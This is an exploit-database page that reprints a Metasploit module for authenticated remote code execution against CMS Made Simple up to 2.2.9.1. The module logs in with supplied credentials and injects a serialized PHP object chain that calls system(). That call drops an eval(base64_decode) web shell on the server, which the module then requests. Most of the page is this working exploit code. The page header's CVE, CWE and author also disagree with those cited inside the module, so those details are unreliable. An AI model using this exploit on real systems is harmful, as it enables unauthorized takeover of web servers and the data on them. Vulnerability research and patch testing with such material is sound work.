Advertisement






CMS Made Simple 2.2.8 Remote Code Execution

CVE Category Price Severity
CVE-2019-9053 CWE-20 $5,000 High
Author Risk Exploitation Type Date
Albert Stan Critical Remote 2019-11-18
CVSS EPSS EPSSP
No CVSS score specified for this exploit 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019110119

Below is a copy:

CMS Made Simple 2.2.8 Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'CMS Made Simple Authenticated RCE via object injection',
      'Description' => %q(
        An issue was discovered in CMS Made Simple 2.2.8.
        In the module DesignManager (in the files action.admin_bulk_css.php
        and action.admin_bulk_template.php), with an unprivileged user
        with Designer permission, it is possible to reach an unserialize
        call with a crafted value in the m1_allparms parameter,
        and achieve object injection.

        This module has been successfully tested on CMS Made Simple versions
        2.2.6, 2.2.7, 2.2.8, 2.2.9 and 2.2.9.1.
      ),
      'Author' => [
        'Daniele Scanu danielescanu20[at]gmail.com', # Discovered and exploit. twitter.com/sk4pwn
      ],
      'License' => MSF_LICENSE,
      'References' => [
        ['CVE', '2019-9055'],
        ['CWE', '74'],
        ['URL', 'https://newsletter.cmsmadesimple.org/w/89247Qog4jCRCuRinvhsofwg'],
        ['URL', 'https://www.cmsmadesimple.org/2019/03/Announcing-CMS-Made-Simple-v2.2.10-Spuzzum']
      ],
      'Privileged' => false,
      'Platform' => ['php'],
      'Arch' => [ARCH_PHP],
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Mar 26 2019'))
    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base cmsms directory path', '/']),
        OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
        OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
      ]
    )
    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])
  end

  def multipart_form_data(uri, data, message)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', uri),
      'method' => 'POST',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{message.bound}",
      'cookie' => @cookies
    )
  end

  def post(uri, data)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', uri),
      'method' => 'POST',
      'vars_post' => data,
      'cookie' => @cookies
    )
  end

  def get(path, filename)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, path, filename),
      'method' => 'GET'
    )
  end

  def check
    res = get('', 'index.php')
    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.body.match?(/CMS Made Simple/i)
      return CheckCode::Safe
    end

    version = Gem::Version.new(res.body.scan(/CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/).flatten.first)
    vprint_status("#{peer} - CMS Made Simple Version: #{version}")

    if version <= Gem::Version.new('2.2.9.1')
      return CheckCode::Appears
    end

    return CheckCode::Safe
  end

  def login
    data = {
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD'],
      'loginsubmit' => 'Submit'
    }
    res = post('login.php', data)

    unless res
      fail_with(Failure::Unreachable,
        'A response was not received from the remote host')
    end

    unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ %r{\/admin\?(.*)?=(.*)}
      fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
    end
    store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
    vprint_good("#{peer} - Authentication successful")
    @csrf_name = Regexp.last_match(1)
    csrf_val = Regexp.last_match(2)
    @csrf = { @csrf_name => csrf_val }
    @cookies = res.get_cookies
  end

  def send_injection
    # prepare shell command
    shell_name = rand_text_alpha(8..12) + '.php'
    cmd = Rex::Text.encode_base64(payload.encoded).delete('\n', '')
    cmd = "echo \"<?php eval(base64_decode('#{cmd}')); ?>\" > #{shell_name}"

    # prepare serialized object
    final_payload = 'a:2:{s:10:"css_select";a:4:{i:0;s:2:"19";i:1;s:2:"21";i:2;O:13:"dm_xml_reader":1:{s:31:"'
    final_payload += "\x00" + 'dm_xml_reader' + "\x00"
    final_payload += '_old_err_handler";a:2:{i:0;O:21:"CmsLayoutTemplateType":1:{s:28:"'
    final_payload += "\x00" + 'CmsLayoutTemplateType' + "\x00"
    final_payload += '_data";a:2:{s:13:"help_callback";s:6:"system";s:4:"name";s:' + cmd.length.to_s + ':"' + cmd + '";}}'
    final_payload += 'i:1;s:21:"get_template_helptext";}};i:3;s:5:"dummy";}s:15:"css_bulk_action";s:6:"export";}'

    # create message with payload
    message = Rex::MIME::Message.new
    message.add_part(@csrf[@csrf_name], nil, nil, "form-data; name=\"#{@csrf_name}\"")
    message.add_part('DesignManager,m1_,admin_bulk_template,0', nil, nil, 'form-data; name="mact"')
    message.add_part(Rex::Text.encode_base64(final_payload), nil, nil, 'form-data; name="m1_allparms"')
    data = message.to_s

    # send payload
    payload_res = multipart_form_data('moduleinterface.php', data, message)
    fail_with(Failure::NotFound, 'Failed to send payload') unless payload_res
    register_files_for_cleanup(shell_name)
    # open shell
    res = get('admin', shell_name)
    if res && res.code == 404
      print_error "Shell #{shell_name} not found"
    end
  end

  def exploit
    unless [CheckCode::Detected, CheckCode::Appears].include?(check)
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end
    login
    send_injection
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum